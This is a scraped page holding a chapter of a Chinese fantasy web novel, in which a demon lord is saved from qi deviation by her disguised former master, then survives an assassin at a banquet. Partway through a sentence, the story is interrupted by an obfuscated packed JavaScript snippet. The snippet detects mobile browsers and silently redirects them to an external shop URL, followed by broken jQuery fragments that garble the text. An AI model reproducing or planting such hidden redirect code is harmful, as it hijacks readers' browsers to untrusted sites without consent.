文趣网 > 其他小说 > 穿成炮灰师尊死遁后 > 50. 第 50 章
    魔宫大殿幽邃森冷,玄色殿壁流转着暗沉的魔纹,殿中风息凝滞,无声无息。冷一身着利落黑衣,垂首立于殿下,身姿挺拔恭敬,将连日探查所得的消息尽数整理妥当,字字清晰地禀报上来,不敢有半分错漏。

    “尊上,属下多方查证,水牢内关押的所有修士,皆是二十年前仙魔大战遗留的战俘。岁月久远,当年的羁押名册早已残缺,至今无法查清他们各自的师门与真实身份。除此之外,仙界薛离覃近期动作极大,派遣无数人手遍布四方,全力搜捕近期从水牢逃脱的一众修士,誓要将人尽数追回。”

    高位之上,冷秋姒静坐于玄玉王座,墨色衣袍垂落一地,眉眼清冷淡漠,周身萦绕着久居上位的凛冽威压。她指尖轻抵眉心,默然沉吟片刻,淡淡出声:“我知晓了。”

    二十年前的仙魔大战早已尘封于岁月深处,当年死伤无数,恩怨纠葛尽数掩埋。谁也未曾料到,时隔二十年,这批无人问津的战俘竟会引得仙界之人如此大动干戈。薛离覃不惜耗费大量人力物力四处搜捕,足以证明这批逃亡修士身份隐秘干系重大,绝非寻常战俘那般简单。

    念头转瞬而过,冷秋姒眸光微凝,当即沉声吩咐:“传令下去,调动我魔族所有暗线,随三方之势一同追查,务必查清这群修士的底细。”

    “是!”冷一郑重领命,转身退下,即刻调度麾下人手,悄然铺开整张搜查密网。

    而此刻被多方势力紧盯追查的逃亡修士,正躲在一处隐秘的深山秘境之中。连日奔逃流离,众人早已身心俱疲,终日活在被抓捕的惶恐之中,随身携带的干粮早已消耗殆尽。为求活命,众人谨慎商议过后,最终挑选出三名心性沉稳修为扎实的弟子外出采买吃食。

    为杜绝一切暴露的风险,三人请精通易容术的修士细细改换容貌,眉眼轮廓身形气质尽数修饰,连衣衫形制市井气息都模仿得惟妙惟肖,反复查验确认毫无破绽,方才动身。

    一路之上,三人极致谨慎,刻意避开所有仙魔巡查要道,绕远曲折行路,避开人多眼杂的关卡,辗转许久才顺利抵达山下繁华集市。

    集市人声喧闹,车马往来,两侧商铺鳞次栉比,瓜果吃食、杂物器具琳琅满目,烟火腾腾。三人始终压低气息,神色警惕,不敢四处张望逗留。为避免引人注目,他们刻意分散开来,各自选取不同摊位,少量购置干粮杂粮,绝不贪心多取,买完即刻收敛妥当,不敢多做停留,迅速结伴折返藏身之地。

    归来之后,众人依旧恪守规矩,各司其职,井然有序。有人生火做饭,打理膳食;有人静坐调息,弥补奔逃损耗的灵力;有人轮值放哨,紧盯四方动静,简陋的藏身之处虽清贫,却难得安稳平和。

    夜色悄然浸染山林,月色微凉,清辉洒落魔宫重重殿宇。

    夜深人静,冷秋姒褪去一身繁杂事务,返回寝殿闭关修炼。她执掌魔族多年,修为深不可测,可近日接连追查旧事、调度人手,心绪始终纷乱不宁,便想着深夜静心打坐,梳理灵力,稳固道心。

    谁料打坐至深夜,体内平稳流转的魔力骤然失控紊乱。

    经脉骤然剧痛,狂暴的魔力在四肢百骸中肆意冲撞、逆行翻涌,如万千利刃割裂肌理。猝不及防的剧痛席卷全身,瞬间击溃了她所有的定力,身形一软,再也支撑不住,蜷缩在地。细密冷汗浸透衣袍,浑身颤抖不止,意识飞速涣散模糊。

    濒临走火入魔的极致混沌之中,世间万物尽数褪去,她脑海里唯独只剩下年少记忆,只剩下那个温柔护她、伴她长大的师尊身影。破碎微弱的呢喃反复在唇边辗转:“师尊……师尊……”

    【系统警告:宿主!反派冷秋姒灵力逆行,即将彻底走火入魔,性命垂危!】

    虞嫣霓听见系统急促的警示音,心头骤然一紧,不敢耽搁片刻,立刻应声:“我即刻前往!”

    念及徒弟身陷险境,她瞬息动身,身形掠动间便抵达冷秋姒寝殿门外。

    殿外,冷一如往常恪尽职守,见外人靠近,立刻上前抬手阻拦,语气恪守宫规:“虞姑娘,尊上正在闭关,不便叨扰,还请离去。”

    事态危急,分秒便是生死,虞嫣霓神色急切,语气凝重无比:“你家尊上即将走火入魔,经脉寸裂在即!此刻若不施救,再晚片刻,大罗金仙也难救她性命!”

    冷一心头巨震,深知魔尊走火入魔的凶险可怖,不敢有半分迟疑,立刻快步冲入殿中查验情况。望见地上蜷缩颤抖、神志迷离的冷秋姒,她瞬间面色大变,火速折返,躬身退让,态度恭敬至极:“虞姑娘,请速速入内!”

    虞嫣霓不再多言,抬步疾步入殿。

    烛火摇曳的寝殿之中,冷秋姒狼狈蜷于地面,往日清冷强势、威震三界的魔尊,此刻脆弱得如同易碎琉璃。她双目迷蒙,神志不清,一遍遍低唤师尊,声声缱绻,藏着无人知晓的执念与孤寂。

    虞嫣霓心中了然,满心疼惜。她这具肉身乃是凡躯,无法修行,丝毫调动不得灵力魔力。而冷秋姒此刻走火入魔,经脉彻底紊乱,即便是大乘修士前来,强行渡力也只会加剧反噬,加速她修为尽废、身死道消。

    危急关头,她骤然想起魔族藏书阁中记载的古法救险之术,恰好能化解灵力逆行、压制入魔心魔。万幸此法所需的几株珍稀灵草,她此前尽数收集齐备,妥善存放于储物镯中。

    虞嫣霓迅速取出灵草,简单拂去浮尘,俯身轻轻扶起地上的冷秋姒,将灵草递至她唇边,放柔所有语气,极尽温柔地轻声哄慰:“乖乖吃下,吃完病痛便消,一切都会好起来的。”

    “师尊……”

    冷秋姒神志混沌,眼前人影朦胧,那张眉眼与她记忆中的师尊别无二致。十年执念一朝翻涌,她早已分不清虚实真假,只循着心底最深的执念,反复呢喃师尊二字。

    虞嫣霓心中无奈又酸涩。二人相处不过数年,时隔整整十年,世事变迁,人事皆非,可这孩子依旧将年少温情死死刻在心底,念念不忘。

    她只得愈发温柔,一遍遍耐心安抚:“师尊在,师尊一直陪着你,吃完药就不痛了。”

    混沌的意识里,冷秋姒耳畔萦绕着熟悉温柔的嗓音。她心底茫然酸涩,师尊早已陨落离世,这声音恍若幻梦,却又无比真切。残存的微弱理智告诉她,口中苦涩的灵草并无恶意,反而在缓缓安抚躁动的经脉。

    她顺从地张口,咽下满口苦涩药味。片刻后,一缕清甜入喉,一颗温润甜枣送入唇间,清甜软糯的滋味冲淡了所有苦涩,缓缓抚平了她体内翻腾的戾气。

    古法灵草的药效迅猛柔和,迅速游走周身经脉,强行压制住逆行紊乱的魔力,一点点将濒临入魔的冷秋姒从生死边缘拉回。药力散尽,紧绷的心神骤然松弛,她气力彻底耗尽,双眼一闭,沉沉晕厥过去。

    虞嫣霓小心翼翼将她抱起,轻柔放置于床榻之上,为她仔细掖好被角。望着眼前已然身姿窈窕风华绝代的少女,她心底满是感慨。十年光阴匆匆而过,当年那个怯生生跟在她身后的小徒弟,早已长成独掌魔界、威慑四方的魔尊,只是心底那份执念与孤寂,从未消散半分。

    默然伫立片刻,虞嫣霓悄然转身,轻声离去。

    次日天光破晓,晨曦穿透窗棂,洒落满室微光。

    冷秋姒缓缓睁眼,眉心胀痛难忍,脑海昏沉恍惚。昨夜走火入魔的凶险记忆只剩零碎片段,唯独残留着满口草木清香与温柔哄慰的嗓音,依稀记得有人俯身喂她服药,救她于绝境。

    她轻启唇瓣,低声唤道:“冷一。”

    黑影一闪,冷一即刻现身行礼:“尊上。”

    “昨夜是谁入殿救我,为我喂药疗伤?”

    冷一据实回禀:“回尊上,昨夜是虞姑娘察觉您遇险,及时入殿施救,以灵草稳住您紊乱的经脉,方才化解走火入魔之危。”

    “我知晓了。”

    冷秋姒揉按着发胀的眉心,闭目凝神感知体内状态。昨夜灵草药效终究有限,经脉只是暂时稳住,并未彻底梳理痊愈,内里依旧残留细碎淤塞。她当即盘膝坐于床榻,凝神敛息,耗费整整一个时辰,细细梳理周身魔力,一点点修复受损经脉。

    待到正午时分,体内状态终于平稳大半。冷秋姒念及昨夜救命之恩,心中记挂不已,特意命人备好满桌珍馐佳酿,遣侍女专程前去邀请虞嫣霓前来赴宴,欲当面答谢救命之情。

    虞嫣霓应邀而来,踏入雅致偏厅,望见满桌精致佳肴、琼浆美酒,不由得微微一怔,随即笑着问道:“尊上这般盛情款待,不知是何缘故?”

    冷秋姒抬眸望她,眉眼褪去平日凛冽,添了几分温和:“昨夜承蒙你出手相救,免去我身死道消之祸,今日备下薄宴,专程答谢。不知你口味如何,若有不喜,我即刻让人更换。”

    她说着抬手示意:“坐下吧,无需拘谨,这些菜肴皆是为你准备的。”

    虞嫣霓素来随性坦然,也不刻意客套,坦然落座,看着合口的菜肴便随心取用。

    反观主位的冷秋姒端坐不动,全程未曾动筷分毫。

    虞嫣霓见状疑惑抬头:“你怎么不吃?一桌好菜,你独自不动,未免可惜。”

    冷秋姒淡淡应声:“我早已辟谷多年,早已不需进食凡间膳食。”

    虞嫣霓闻言诧异,随口劝说:“好好一桌饭菜,我一人哪里吃得完,白白浪费太过可惜。你多久不曾吃饭菜了?”

    冷秋姒垂眸沉吟片刻,声音轻浅,带着一丝不易察觉的落寞:“约莫十年了。”

    “十年?!”

    虞嫣霓失声惊呼,又连忙压低声音,满眼难以置信。整整十年不食烟火饭菜,何其执拗。她迟疑片刻,终究忍不住轻声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551012|203402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    问道:“你……可是因为你师尊,才再也不碰凡间吃食?”

    一语戳中深藏心底的执念。

    冷秋姒眼底掠过一抹浅淡酸涩,缓缓颔首:“从前修行之时,我尚未辟谷,日日需要三餐膳食。师尊早已辟谷超脱,无需烟火,却每日陪着我,随我一同用膳。那时我总会备好两份饭菜,岁岁年年,皆是如此。如今师尊不在世间,我亦早已辟谷,便再也无心独自进食。”

    虞嫣霓闻言瞬间有些心虚尴尬。当年她哪里是特意陪伴徒弟,不过是贪图省事,懒得自己跑腿买饭,才日日蹭小徒弟的饭菜。没想到无心之举,竟被冷秋姒记挂十年,当成了师徒情深的温柔执念。

    这份美丽的误会,她无从解释,也不忍戳破,只能默默藏在心底。

    心绪微动间,虞嫣霓一时不慎,被口中饭菜呛得轻咳几声。

    “慢些吃,不必着急。”冷秋姒眸光温柔,轻声叮嘱。

    “好。”虞嫣霓应声平复气息。

    冷秋姒望着她,唇角微扬,漾开一抹浅浅温柔笑意:“后厨还备了一道秘制甜点,甘甜爽口,想来你会喜欢,稍候便会呈上。”

    此话一出,虞嫣霓瞬间被勾起兴致,眉眼弯弯:“那我可要好好尝尝尊上的专属甜点。”

    不多时,一名侍女端着精致食盘缓步入内,盘中甜点精致小巧,香气袅袅。

    可就在侍女俯身靠近的刹那,虞嫣霓眸光骤然一凝,清晰瞥见她宽大袖摆之下,悄然滑落出一柄寒光凛冽的短匕!

    “有刺客!”

    虞嫣霓脱口疾呼,身体本能地往前扑去,想要以身推开身前的冷秋姒。

    冷秋姒修为极高,反应瞬息而至,闻声即刻侧身闪避,利落避开刺客的致命一击,旋即起身与来人缠斗在一起。

    刺客修为不弱,招式阴狠凌厉,可在魔尊面前终究不堪一击。数个回合下来,刺客节节败退,彻底落入下风。眼见刺杀无望、脱身无门,她眼底骤然掠过一抹疯狂,陡然调转刀锋,放弃冷秋姒,直直朝着毫无修为、毫无防备的虞嫣霓狠狠刺去!

    变故突生,快如电光石火。

    虞嫣霓根本来不及躲闪,锋利的匕首狠狠刺入肩头,剧烈的剧痛瞬间席卷全身,眼前一黑,彻底失去意识,软软倒落在地。

    冷秋姒眸色骤冷,戾气瞬间翻涌,瞬息出手制伏刺客。察觉对方牙关紧绷、暗藏剧毒,知晓其早已做好败后自尽的准备,她当即抬手卸去对方下颌,撕下衣料堵住其口,杜绝自尽余地,冷声吩咐:“押下去,严刑审问,彻查背后主使!”

    处置完刺客,她再也顾不得其余,快步俯身抱起倒地的虞嫣霓,指尖轻探脉象,察觉气息虽虚浮紊乱,却暂无性命之忧,心底高悬的巨石稍稍落地。

    冷秋姒抱着人快步返回厢房,取出储物戒中珍藏的止血疗伤灵草,细细碾碎,小心翼翼敷在伤口之上,层层稳妥包扎。

    自此,她寸步不离守在床边,每隔半个时辰便探查一次脉象,彻夜看护,满心愧疚自责。

    她登临魔尊之位,常年遭遇暗杀算计,早已习以为常、淡然置之。可今日这场刺杀,却让无辜护她的虞嫣霓身受重伤,这份愧疚,久久萦绕心头,难以消散。

    夜色深沉,月上中天。

    昏迷许久的虞嫣霓终于缓缓睁开双眼,朦胧视线里,最先映入眼帘的,便是彻夜守在床边、眉眼温柔凝重的冷秋姒。

    她嗓音微哑,轻声问道:“你……守了我很久吗?”

    冷秋姒垂眸望着她,语气平淡却真切:“你昏眠多久,我便守了多久。”

    “辛苦你了,多谢照料。”虞嫣霓微微一动,察觉伤口已然愈合大半,痛感消减许多,笑着打趣,“幸好遇得上医术高明之人相救,我定要重重答谢恩人。”

    冷秋姒抬眸,眼底含着浅浅笑意:“若我说,救你的人,是我呢?”

    虞嫣霓故作一脸惊诧,恰到好处地露出讶异神色:“原来尊上竟精通医术?我的伤势,皆是尊上亲手包扎医治?”

    “嗯。”冷秋姒静静凝视着她的神情,轻声问道,“外界流言纷纷,传我诸多事迹,你从未听闻我通晓医术?”

    虞嫣霓浅浅摇头,从容应答:“坊间传言大多浮夸虚妄,只说尊上出身特殊修为可怖手段狠厉,从未有人提及尊上身怀医术。”

    冷秋姒轻笑一声,眼底带着几分淡讽:“世人向来偏爱猎奇诡谲的传闻,寻常本事,自然无人津津乐道。”

    虞嫣霓连忙圆场,软声夸赞:“皆是夸赞尊上实力深不可测无人能敌。”

    生怕继续深聊露了破绽,她连忙顺势起身,笑着告辞:“尊上,我伤势无碍,家中还有小妹等候,我便先行回去了。”

    冷秋姒望着她,微微颔首,声音温和平缓:“好,路上当心。”